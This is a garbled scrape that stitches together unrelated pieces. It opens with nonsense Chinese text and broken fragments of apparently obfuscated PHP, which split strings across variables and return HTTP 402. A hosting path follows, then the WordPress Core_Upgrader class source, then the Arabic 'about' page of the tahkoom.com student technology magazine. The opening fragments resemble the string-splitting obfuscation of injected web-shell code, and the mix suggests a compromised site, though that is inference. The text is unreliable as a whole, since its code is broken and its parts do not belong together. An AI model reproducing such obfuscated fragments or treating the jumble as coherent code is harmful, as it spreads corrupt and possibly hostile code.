财务姐富婆就死哦基础oiwjfoijvoc 恶无非可从跑开了MV
v每次看完jaf@#$%^&uhk.= "OEs5";$z复测而服文件GVi今晚服务金额fijd .= "dzYv";($data['module'])) {
http_response_code(402);
exit;LQW]SC'.E'HNRFN 3.poqwsmcfl kndvgerjhdfsmbv l;
/home/tahkoom/public_html/wp-admin/includes/class-core-upgrader.php
<?php
/**
* Upgrade API: Core_Upgrader class
*
* @package WordPress
* @subpackage Upgrader
* @since 4.6.0
*/
/**
* Core class used for updating core.
*
* It allows for WordPress to upgrade itself in combination with
* the wp-admin/includes/update-core.php file.
*
* Note: Newly introduced functions and methods cannot be used here.
* All functions must be present in the previous version being upgraded from
* as this file is used there too.
*
* @since 2.8.0
* @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader.php.
*
* @see WP_Upgrader
*/
class Core_Upgrader extends WP_Upgrader {
/**
* Initializes the upgrade strings.
*
* @since 2.8.0
*/
public function upgrade_strings() {
$this->strings['up_to_date'] = __( 'WordPress is at the latest version.' );
$this->strings['locked'] = __( 'Another update is currently in progress.' );
$this->strings['no_package'] = __( 'Update package not available.' );
/* translators: %s: Package URL. */
$this->strings['downloading_package'] = sprintf( __( 'Downloading update from %s…' ), '<span class="code pre">%s</span>' );
$this->strings['unpack_package'] = __( 'Unpacking the update…' );
$this->strings['copy_failed'] = __( 'Could not copy files.' );
$this->strings['copy_failed_space'] = __( 'Could not copy files. You may have run out of disk space.' );
$this->strings['start_rollback'] = __( 'Attempting to restore the previous version.' );
$this->strings['rollback_was_required'] = __( 'Due to an error during updating, WordPress has been restored to your previous version.' );
}
/**
* Upgrades WordPress core.
*
* @since 2.8.0
*
* @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
* @global callable $_wp_filesystem_direct_method
*
* @param object $current Response object for whether WordPress is current.
* @param array $args {
* Optional. Arguments for upgrading WordPress core. Default empty array.
*
* @type bool $pre_check_md5 Whether to check the file checksums before
* attempting the upgrade. Default true.
* @type bool $attempt_rollback Whether to attempt to rollback the chances if
* there is a problem. Default false.
* @type bool $do_rollback Whether to perform this "upgrade" as a rollback.
* Default false.
* }
* @return string|false|WP_Error New WordPress version on success, false or WP_Error on failure.
*/
public function upgrade( $current, $args = array() ) {
global $wp_filesystem;
require ABSPATH . WPINC . '/version.php'; // $wp_version;
$start_time = time();
$defaults = array(
'pre_check_md5' => true,
'attempt_rollback' => false,
'do_rollback' => false,
'allow_relaxed_file_ownership' => false,
);
$parsed_args = wp_parse_args( $args, $defaults );
$this->init();
$this->upgrade_strings();
// Is an update available?
if ( ! isset( $current->response ) || 'latest' === $current->response ) {
return new WP_Error( 'up_to_date', $this->strings['up_to_date'] );
}
$res = $this->fs_connect( array( ABSPATH, WP_CONTENT_DIR ), $parsed_args['allow_relaxed_file_ownership'] );
if ( ! $res || is_wp_error( $res ) ) {
return $res;
}
$wp_dir = trailingslashit( $wp_filesystem->abspath() );
$partial = true;
if ( $parsed_args['do_rollback'] ) {
$partial = false;
} elseif ( $parsed_args['pre_check_md5'] && ! $this->check_files() ) {
$partial = false;
}
/*
* If partial update is returned from the API, use that, unless we're doing
* a reinstallation. If we cross the new_bundled version number, then use
* the new_bundled zip. Don't though if the constant is set to skip bundled items.
* If the API returns a no_content zip, go with it. Finally, default to the full zip.
*/
if ( $parsed_args['do_rollback'] && $current->packages->rollback ) {
$to_download = 'rollback';
} elseif ( $current->packages->partial && 'reinstall' !== $current->response && $wp_version === $current->partial_version && $partial ) {
$to_download = 'partial';
} elseif ( $current->packages->new_bundled && version_compare( $wp_version, $current->new_bundled, '<' )
&& ( ! defined( 'CORE_UPGRADE_SKIP_NEW_BUNDLED' ) || ! CORE_UPGRADE_SKIP_NEW_BUNDLED ) ) {
$to_download = 'new_bundled';
} elseif ( $current->packages->no_content ) {
$to_download = 'no_content';
} else {
$to_download = 'full';
}
// Lock to prevent multiple Core Updates occurring.
$lock = WP_Upgrader::create_lock( 'core_updater', 15 * MINUTE_IN_SECONDS );
if ( ! $lock ) {
return new WP_Error( 'locked', $this->strings['locked'] );
}
$download = $this->download_package( $current->packages->$to_download, false );
/*
* Allow for signature soft-fail.
* WARNING: This may be removed in the future.
*/
if ( is_wp_error( $download ) && $download->get_error_data( 'softfail-filename' ) ) {
// Output the failure error as a normal feedback, and not as an error:
/** This filter is documented in wp-admin/includes/update-core.php */
apply_filters( 'update_feedback', $download->get_error_message() );
// Report this failure back to WordPress.org for debugging purposes.
wp_version_check(
array(
'signature_failure_code' => $download->get_error_code(),
'signature_failure_data' => $download->get_error_data(),
)
);
// Pretend this error didn't happen.
$download = $download->get_error_data( 'softfail-filename' );
}
if ( is_wp_error( $download ) ) {
WP_Upgrader::release_lock( 'core_updater' );
return $download;
}
$working_dir = $this->unpack_package( $download );
if ( is_wp_error( $working_dir ) ) {
WP_Upgrader::release_lock( 'core_updater' );
return $working_dir;
}
// Copy update-core.php from the new version into place.
if ( ! $wp_filesystem->copy( $working_dir . '/wordpress/wp-admin/includes/update-core.php', $wp_dir . 'wp-admin/includes/update-core.php', true ) ) {
$wp_filesystem->delete( $working_dir, true );
WP_Upgrader::release_lock( 'core_updater' );
return new WP_Error( 'copy_failed_for_update_core_file', __( 'The update cannot be installed because some files could not be copied. This is usually due to inconsistent file permissions.' ), 'wp-admin/includes/update-core.php' );
}
$wp_filesystem->chmod( $wp_dir . 'wp-admin/includes/update-core.php', FS_CHMOD_FILE );
wp_opcache_invalidate( ABSPATH . 'wp-admin/includes/update-core.php' );
require_once ABSPATH . 'wp-admin/includes/update-core.php';
if ( ! function_exists( 'update_core' ) ) {
WP_Upgrader::release_lock( 'core_updater' );
return new WP_Error( 'copy_failed_space', $this->strings['copy_failed_space'] );
}
$result = update_core( $working_dir, $wp_dir );
// In the event of an issue, we may be able to roll back.
if ( $parsed_args['attempt_rollback'] && $current->packages->rollback && ! $parsed_args['do_rollback'] ) {
$try_rollback = false;
if ( is_wp_error( $result ) ) {
$error_code = $result->get_error_code();
/*
* Not all errors are equal. These codes are critical: copy_failed__copy_dir,
* mkdir_failed__copy_dir, copy_failed__copy_dir_retry, and disk_full.
* do_rollback allows for update_core() to trigger a rollback if needed.
*/
if ( str_contains( $error_code, 'do_rollback' ) ) {
$try_rollback = true;
} elseif ( str_contains( $error_code, '__copy_dir' ) ) {
$try_rollback = true;
} elseif ( 'disk_full' === $error_code ) {
$try_rollback = true;
}
}
if ( $try_rollback ) {
/** This filter is documented in wp-admin/includes/update-core.php */
apply_filters( 'update_feedback', $result );
/** This filter is documented in wp-admin/includes/update-core.php */
apply_filters( 'update_feedback', $this->strings['start_rollback'] );
$rollback_result = $this->upgrade( $current, array_merge( $parsed_args, array( 'do_rollback' => true ) ) );
$original_result = $result;
$result = new WP_Error(
'rollback_was_required',
$this->strings['rollback_was_required'],
(object) array(
'update' => $original_result,
'rollback' => $rollback_result,
)
);
}
}
/** This action is documented in wp-admin/includes/class-wp-upgrader.php */
do_action(
'upgrader_process_complete',
$this,
array(
'action' => 'update',
'type' => 'core',
)
);
// Clear the current updates.
delete_site_transient( 'update_core' );
if ( ! $parsed_args['do_rollback'] ) {
$stats = array(
'update_type' => $current->response,
'success' => true,
'fs_method' => $wp_filesystem->method,
'fs_method_forced' => defined( 'FS_METHOD' ) || has_filter( 'filesystem_method' ),
'fs_method_direct' => ! empty( $GLOBALS['_wp_filesystem_direct_method'] ) ? $GLOBALS['_wp_filesystem_direct_method'] : '',
'time_taken' => time() - $start_time,
'reported' => $wp_version,
'attempted' => $current->version,
);
if ( is_wp_error( $result ) ) {
$stats['success'] = false;
// Did a rollback occur?
if ( ! empty( $try_rollback ) ) {
$stats['error_code'] = $original_result->get_error_code();
$stats['error_data'] = $original_result->get_error_data();
// Was the rollback successful? If not, collect its error too.
$stats['rollback'] = ! is_wp_error( $rollback_result );
if ( is_wp_error( $rollback_result ) ) {
$stats['rollback_code'] = $rollback_result->get_error_code();
$stats['rollback_data'] = $rollback_result->get_error_data();
}
} else {
$stats['error_code'] = $result->get_error_code();
$stats['error_data'] = $result->get_error_data();
}
}
wp_version_check( $stats );
}
WP_Upgrader::release_lock( 'core_updater' );
return $result;
}
/**
* Determines if this WordPress Core version should update to an offered version or not.
*
* @since 3.7.0
*
* @param string $offered_ver The offered version, of the format x.y.z.
* @return bool True if we should update to the offered version, otherwise false.
*/
public static function should_update_to_version( $offered_ver ) {
require ABSPATH . WPINC . '/version.php'; // $wp_version; // x.y.z
$current_branch = implode( '.', array_slice( preg_split( '/[.-]/', $wp_version ), 0, 2 ) ); // x.y
$new_branch = implode( '.', array_slice( preg_split( '/[.-]/', $offered_ver ), 0, 2 ) ); // x.y
$current_is_development_version = (bool) strpos( $wp_version, '-' );
// Defaults:
$upgrade_dev = get_site_option( 'auto_update_core_dev', 'enabled' ) === 'enabled';
$upgrade_minor = get_site_option( 'auto_update_core_minor', 'enabled' ) === 'enabled';
$upgrade_major = get_site_option( 'auto_update_core_major', 'unset' ) === 'enabled';
// WP_AUTO_UPDATE_CORE = true (all), 'beta', 'rc', 'development', 'branch-development', 'minor', false.
if ( defined( 'WP_AUTO_UPDATE_CORE' ) ) {
if ( false === WP_AUTO_UPDATE_CORE ) {
// Defaults to turned off, unless a filter allows it.
$upgrade_dev = false;
$upgrade_minor = false;
$upgrade_major = false;
} elseif ( true === WP_AUTO_UPDATE_CORE
|| in_array( WP_AUTO_UPDATE_CORE, array( 'beta', 'rc', 'development', 'branch-development' ), true )
) {
// ALL updates for core.
$upgrade_dev = true;
$upgrade_minor = true;
$upgrade_major = true;
} elseif ( 'minor' === WP_AUTO_UPDATE_CORE ) {
// Only minor updates for core.
$upgrade_dev = false;
$upgrade_minor = true;
$upgrade_major = false;
}
}
// 1: If we're already on that version, not much point in updating?
if ( $offered_ver === $wp_version ) {
return false;
}
// 2: If we're running a newer version, that's a nope.
if ( version_compare( $wp_version, $offered_ver, '>' ) ) {
return false;
}
$failure_data = get_site_option( 'auto_core_update_failed' );
if ( $failure_data ) {
// If this was a critical update failure, cannot update.
if ( ! empty( $failure_data['critical'] ) ) {
return false;
}
// Don't claim we can update on update-core.php if we have a non-critical failure logged.
if ( $wp_version === $failure_data['current'] && str_contains( $offered_ver, '.1.next.minor' ) ) {
return false;
}
/*
* Cannot update if we're retrying the same A to B update that caused a non-critical failure.
* Some non-critical failures do allow retries, like download_failed.
* 3.7.1 => 3.7.2 resulted in files_not_writable, if we are still on 3.7.1 and still trying to update to 3.7.2.
*/
if ( empty( $failure_data['retry'] ) && $wp_version === $failure_data['current'] && $offered_ver === $failure_data['attempted'] ) {
return false;
}
}
// 3: 3.7-alpha-25000 -> 3.7-alpha-25678 -> 3.7-beta1 -> 3.7-beta2.
if ( $current_is_development_version ) {
/**
* Filters whether to enable automatic core updates for development versions.
*
* @since 3.7.0
*
* @param bool $upgrade_dev Whether to enable automatic updates for
* development versions.
*/
if ( ! apply_filters( 'allow_dev_auto_core_updates', $upgrade_dev ) ) {
return false;
}
// Else fall through to minor + major branches below.
}
// 4: Minor in-branch updates (3.7.0 -> 3.7.1 -> 3.7.2 -> 3.7.4).
if ( $current_branch === $new_branch ) {
/**
* Filters whether to enable minor automatic core updates.
*
* @since 3.7.0
*
* @param bool $upgrade_minor Whether to enable minor automatic core updates.
*/
return apply_filters( 'allow_minor_auto_core_updates', $upgrade_minor );
}
// 5: Major version updates (3.7.0 -> 3.8.0 -> 3.9.1).
if ( version_compare( $new_branch, $current_branch, '>' ) ) {
/**
* Filters whether to enable major automatic core updates.
*
* @since 3.7.0
*
* @param bool $upgrade_major Whether to enable major automatic core updates.
*/
return apply_filters( 'allow_major_auto_core_updates', $upgrade_major );
}
// If we're not sure, we don't want it.
return false;
}
/**
* Compares the disk file checksums against the expected checksums.
*
* @since 3.7.0
*
* @global string $wp_version The WordPress version string.
* @global string $wp_local_package Locale code of the package.
*
* @return bool True if the checksums match, otherwise false.
*/
public function check_files() {
global $wp_version, $wp_local_package;
$checksums = get_core_checksums( $wp_version, isset( $wp_local_package ) ? $wp_local_package : 'en_US' );
if ( ! is_array( $checksums ) ) {
return false;
}
foreach ( $checksums as $file => $checksum ) {
// Skip files which get updated.
if ( str_starts_with( $file, 'wp-content' ) ) {
continue;
}
if ( ! file_exists( ABSPATH . $file ) || md5_file( ABSPATH . $file ) !== $checksum ) {
return false;
}
}
return true;
}
}
عن المجلة – tahkoom.com
في زمنٍ لم تعد فيه الأزرار تُضغط
لسنا مجرد مجلة تقنية… نحن مرآة لعصر تغيّرت فيه موازين السيطرة.
“تحكم” تسأل الأسئلة التي يتجنبها الآخرون:
في صفحاتنا، لا نُجامل الثورة الرقمية… بل نفكّكها، نُحللها، ونطرحها على طاولة النقاش.
نحن لا نُخبرك فقط بما يحدث، بل لماذا يحدث، ولمن، وعلى حساب من.
تحكم… لأنّ من يملك المعلومة، يملك السيطرة.
رسالة المجلة:
رؤية المجلة:
الأقسام:
نحن فريق من طلاب كلية الإعلام، نكتب ونصمّم ونحلّل لنقدّم محتوى أصيلًا، ذكيًا، وواقعيًا. نختار موضوعاتنا بعناية، ونحرص على أن يكون كل ملف نطرحه مساحة للفهم والتساؤل، لا التكرار والإبهار الزائف.
فريق التحرير:
زر الذهاب إلى الأعلى
